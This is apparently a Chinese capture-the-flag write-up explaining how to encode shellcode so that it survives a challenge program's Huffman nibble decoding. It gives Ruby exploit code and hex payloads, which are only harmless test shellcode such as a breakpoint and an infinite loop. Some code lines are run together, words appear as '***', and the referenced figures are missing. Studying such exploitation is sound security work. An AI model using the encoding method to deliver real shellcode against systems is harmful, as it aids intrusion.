Huffy：哈夫曼編碼的shellcode

作者：JackFree 2015-03-03 14:10:53

初次見到“shellcode”的時(shí)候，感覺非常高大上，其實(shí)接觸久了之后你會(huì)發(fā)現(xiàn)它實(shí)際上只是一段代碼(也可以是填充數(shù)據(jù))，是一種用來發(fā)送到服務(wù)器利用特定漏洞的針對(duì)性代碼，一般可以利用它獲取一定的權(quán)限。今天我們將共同學(xué)習(xí)一種新的shellcode編碼方式——Huffy，即基于哈夫曼編碼的shellcode，這種方式利用哈夫曼樹壓縮數(shù)據(jù)的特性來對(duì)shellcode進(jìn)行數(shù)據(jù)壓縮，以達(dá)到“短小精悍”的目的。

哈夫曼樹

因?yàn)檫@種方法叫做Huffy，并且最近我剛剛解決了一個(gè)有關(guān)哈夫曼樹的問題，所以首先我想到的就是哈夫曼樹。

如果你還不知道什么是哈夫曼樹，那我就在這里簡(jiǎn)單提一下。哈夫曼樹是一種相當(dāng)簡(jiǎn)單的數(shù)據(jù)結(jié)構(gòu)，它可以用來進(jìn)行數(shù)據(jù)壓縮。哈夫曼樹的建立是通過讀取輸入的內(nèi)容，然后創(chuàng)建一棵樹，出現(xiàn)頻率***的字符靠近樹的頂部，而頻率***的字符靠近樹的底部。

為了壓縮數(shù)據(jù)，它會(huì)遍歷整個(gè)樹以生成編碼位(左邊的編碼為0，右邊的編碼為1)。一個(gè)字符越靠近樹的頂部，那么該字符編碼之后所用的位數(shù)越少，這也被稱為“前綴碼”，這是一種非常簡(jiǎn)潔的屬性，該屬性意味著沒有編碼的位串會(huì)作為另一個(gè)位串的前綴(換句話說，當(dāng)你閱讀二進(jìn)制位流的時(shí)候，你就能立刻知道解碼該字符何時(shí)結(jié)束)。

例如下面的哈夫曼樹：

通過該哈夫曼樹，我們就能知道它來自一個(gè)包含9個(gè)字符的文本，其中有5個(gè)字符是字母“o”，3個(gè)字符是字母“d”，1個(gè)字符是字母“g”。

所以，當(dāng)你用該樹壓縮數(shù)據(jù)時(shí)，你可以將單詞“dog”作如下處理：

d=00(左左)
o=1(右)
g=01(左右)

所以，“dog”將會(huì)編碼成位流“00101”。

如果你看到以位流“01100”表示的字符串，你就可以按照上面哈夫曼樹來解碼：左右(g)、右(o)、左左(d)，所以解碼得到該字符串內(nèi)容為“god”。

如果在一個(gè)字符串中所有字符的數(shù)目都相同，并且不同字符的種類數(shù)是2的整數(shù)冪(例如：“aabbccdd”中，不同字符的種類數(shù)為4，即2的平方)，你就需要通過一個(gè)平衡的哈夫曼樹來表示。例如，字符串“aaabbbcccddd”的表示將會(huì)是如下形式的哈夫曼樹：

通過查找上圖中的哈夫曼樹可知，字符串“abcd”將會(huì)編碼成“00011011”。哈夫曼樹的這種特性非常重要。#p#

程序分析

當(dāng)你運(yùn)行程序時(shí)，它將提示你輸入，在你輸入相應(yīng)內(nèi)容之后，它將輸出一堆毫無意義的東西(盡管輸出使我們理解變得簡(jiǎn)單多了)。可以看下這個(gè)例子：

$ echo 'this is a test string' | ./huffy
CWD: /home/ron/gits2015/huffy
Nibble  Frequency
------  ---------
0       0.113636
1       0.022727
2       0.113636
3       0.090909
4       0.090909
5       0.022727
6       0.181818
7       0.227273
8       0.022727
9       0.068182
a       0.022727
b       0.000000
c       0.000000
d       0.000000
e       0.022727
f       0.000000
Read 22 bytes
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.045455
Two lowest frequencies: 0.045455 and 0.068182
Two lowest frequencies: 0.068182 and 0.090909
Two lowest frequencies: 0.090909 and 0.113636
Two lowest frequencies: 0.113636 and 0.113636
Two lowest frequencies: 0.159091 and 0.181818
Two lowest frequencies: 0.204545 and 0.227273
Two lowest frequencies: 0.227273 and 0.227273
Two lowest frequencies: 0.340909 and 0.431818
Two lowest frequencies: 0.454545 and 0.454545
Two lowest frequencies: 0.772727 and 0.909091
Breaking!
0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
Binary Encoded:
h@V????Q?O?-????
Executing encoded input...
Segmentation fault

可能理解起來需要花一點(diǎn)時(shí)間，但是一旦你明白了，你會(huì)發(fā)現(xiàn)輸出的內(nèi)容很直截了當(dāng)。

***部分分析了每個(gè)半字節(jié)(半字節(jié)代表一個(gè)十六進(jìn)制字符或字節(jié)的一半)出現(xiàn)的頻率。這部分結(jié)果告訴我們程序通過半字節(jié)的形式對(duì)數(shù)據(jù)進(jìn)行了壓縮，然后給出了輸入內(nèi)容中字符出現(xiàn)頻率的分析，***顯示了16個(gè)可能半字節(jié)的編碼結(jié)果。

編碼之后，會(huì)將這些位轉(zhuǎn)換成一個(gè)很長(zhǎng)的二進(jìn)制碼流，然后運(yùn)行它們。

流程總結(jié)：首先輸入一些數(shù)據(jù)，然后以半字節(jié)為單位用哈夫曼編碼進(jìn)行壓縮，***將其轉(zhuǎn)換成可執(zhí)行的代碼，此時(shí)我們就得到了利用哈夫曼算法壓縮過的shellcode。

為了簡(jiǎn)單起見，我還是用一些shell代碼來清理輸出的內(nèi)容，以方便我更好地分析到底發(fā)生了什么：

$ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'

得到如下結(jié)果：

[...]
0 0111
1 010000
2 1111
3 1000
4 0010
5 001010
6 100
7 110
8 00000
9 11010
a 101010
b 0000110000
c 10110000
d 100110000
e 1110000
f 1000110000
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101

如果你嘗試輸入“AAAA”，你將得到如下結(jié)果：

$ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'[...]
0 0101
1 0
2 0000000000001101
3 101101
4 11
5 1001101
6 10001101
7 100001101
8 1000001101
9 10000001101
a 11101
b 100000001101
c 1000000001101
d 10000000001101
e 100000000001101
f 1000000000001101
Encoding input...
ASCII Encoded: 110110110110101010111
Binary Encoded:

如果你嘗試輸入“AAAA”，你將得到如下結(jié)果：

你可能知道“AAAA”=“41414141”(ASCII碼表示)，所以'4'和'1'就成了最常用的半字節(jié)，而由上面圖中也能證實(shí)，即'4'被編碼成'11'，'1'被編碼成'0'。我們希望以一個(gè)換行符'\x0a'結(jié)束，所以'0'和'a'也應(yīng)該進(jìn)行編碼。

如果我們將這些字符分開，可以得到如下內(nèi)容：

ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111

需要注意的是，圖中編碼后的結(jié)果都被逆序了，雖然'11'和'0'其實(shí)并不受逆序的影響，但是'1010'='0101'='0'，'10111'='11101'='a'。說實(shí)話，剛開始我并沒有注意到逆序問題的存在，但我以一個(gè)新的方式解決了這個(gè)問題。

還記得前面說的嗎?如果有一個(gè)含有2的冪次方個(gè)節(jié)點(diǎn)的平衡樹，所有的字符都將被編碼成相同的位數(shù)。事實(shí)證明，結(jié)果有16個(gè)不同的半字節(jié)，所以如果你輸入的字符串中有偶數(shù)個(gè)半字節(jié)，那么它們都將被編碼成4位：

$ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000

它們不僅會(huì)被編碼成4位，而且每一種可能的4位值都被列出來了。#p#

方法使用

其實(shí)，這種方法使用起來非常簡(jiǎn)單，需要做的僅僅是簡(jiǎn)單的查表：

1、首先算出半字節(jié)對(duì)應(yīng)的編碼后的二進(jìn)制位;

2、將這些半字節(jié)作為shellcode寫出來;

3、填充shellcode，直到每個(gè)半字節(jié)都有相同的數(shù)量。

這已經(jīng)相當(dāng)?shù)闹庇^了，你可以參考我的全部利用代碼，或者利用下面的片段根據(jù)實(shí)際情況進(jìn)行拼接。

首先，創(chuàng)建一個(gè)表(下面是我手工創(chuàng)建的)：

@@table = {  "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3,  "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7,  "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb,  "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
}

然后，將shellcode進(jìn)行編碼：

def encode_nibble(b)
  binary = b.to_s(2).rjust(4, '0')
  puts("Looking up %s... => %x" % [binary, @@table[binary]])  return @@table[binary]end@@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]#shellcode = "\xeb\xfe"#shellcode = "\xcd\x03"shellcode = "hello world, this is my shellcode!"shellcode.each_byte do |b|
  n1 = b >> 4
  n2 = b & 0x0f
  puts("n1 = %x" % n1)
  puts("n2 = %x" % n2)  @@hist[n1] += 1
  @@hist[n2] += 1
  out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chrend

需要注意一下，我保存了一個(gè)直方圖，利用它可以使***一步的實(shí)現(xiàn)更加簡(jiǎn)單，然后根據(jù)需要填充字符串：

def get_padding()
  result = ""
  max = @@hist.max
  needed_nibbles = []  0.upto(@@hist.length - 1) do |i|
    needed_nibbles << [i] * (max - @@hist[i])
    needed_nibbles.flatten!  end
  if((needed_nibbles.length % 2) != 0)
    puts("We need an odd number of nibbles! Add some NOPs or something :(")    exit
  end
  0.step(needed_nibbles.length - 1, 2) do |i|
    n1 = needed_nibbles[i]
    n2 = needed_nibbles[i+1]
    result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr  end
  return resultend

現(xiàn)在輸出中應(yīng)該包含一串對(duì)應(yīng)shellcode的半字節(jié)，應(yīng)該是這樣的。

***，我們將其輸出：

def output(str)
  print "echo -ne '"
  str.bytes.each do |b|
    print("\\x%02x" % b)  end
  puts("' > in; ./huffy < in")end

#p#

修復(fù)bug

你注意到剛剛我哪里做錯(cuò)了嗎?其實(shí)，剛剛我犯了個(gè)大錯(cuò)誤，當(dāng)我試圖編碼“hello world, this is my shellcode!”時(shí)，我得到如下結(jié)果：

echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

上面結(jié)果轉(zhuǎn)換為可視字符后為：

ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????

發(fā)生了什么事?這不是我之前輸入的字符串啊。

但是，觀察到字符串以“ajcco”開頭，而我之前輸入的字符串是以“hello”開頭。然后，半字節(jié)和字符的對(duì)應(yīng)表就得到啦，如下所示：

為了解決這個(gè)問題，我試了下面的shellcode：

"\x01\x23\x45\x67\x89\xab\xcd\xef"

然后將其編碼，得到如下結(jié)果：

0000100001001100001010100110111000011001010111010011101101111111

以十六進(jìn)制表示為：

"\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

或者，以半字節(jié)形式表示為：

如果多花點(diǎn)精力觀察的話，我應(yīng)該早就發(fā)現(xiàn)這個(gè)很明顯的問題啦：逆序問題。

因?yàn)橹拔壹庇谕瓿伤覜]有注意到每個(gè)半字節(jié)的各個(gè)位都被逆序了(1000而不是0001，0100而不是0010等等)。

雖然之前我沒有注意這個(gè)問題，但是我發(fā)現(xiàn)所有的結(jié)果都是完全錯(cuò)誤的，所以我做了以下內(nèi)容：

hack_table = {
  0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
  0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
  0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
  0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
}
hack_out = ""
out.bytes.each do |b|
  n1 = hack_table[b >> 4]
  n2 = hack_table[b & 0x0f]
  hack_out += ((n1 << 4) | (n2 & 0x000f)).chrendoutput(hack_out)

然后用原來的測(cè)試shellcode重新運(yùn)行了該程序：

$ ruby ./sploit.rb
echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

運(yùn)行上面我所得到的編碼之后的代碼，結(jié)果為：

$ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

二進(jìn)制編碼結(jié)果為：

hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
Executing encoded input...
Segmentation fault

現(xiàn)在看起來正常了，通過修改那個(gè)錯(cuò)誤已經(jīng)可以正確地解碼了。下面再試一下我比較喜歡的兩個(gè)測(cè)試字符串“\xcd\x03”(調(diào)試斷點(diǎn)，也可使用“\ xcc”)和“\ xeb \ xfe”(無限循環(huán))：

$ ruby ./sploit.rb
echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
$ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
Binary Encoded:
?Eg???
Executing encoded input...
Trace/breakpoint trap
$ ruby ./sploit.rb
echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
$ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
Binary Encoded:
??"3DUfw??????
Executing encoded input...
[...infinite loop...]

總結(jié)

總的來說，利用哈夫曼編碼處理shellcode是一種相當(dāng)直觀的方法，通過以半字節(jié)為單位壓縮你輸入的數(shù)據(jù)，然后就能得到編碼之后的shellcode，經(jīng)過驗(yàn)證，經(jīng)過這種方法壓縮之后的shellcode能夠正常運(yùn)行。

***，在使用該方法的時(shí)候，可以將目標(biāo)shellcode填充得到1024個(gè)半字節(jié)，接著進(jìn)行哈夫曼編碼并進(jìn)行利用。

責(zé)任編輯：藍(lán)雨淚來源： FreeBuf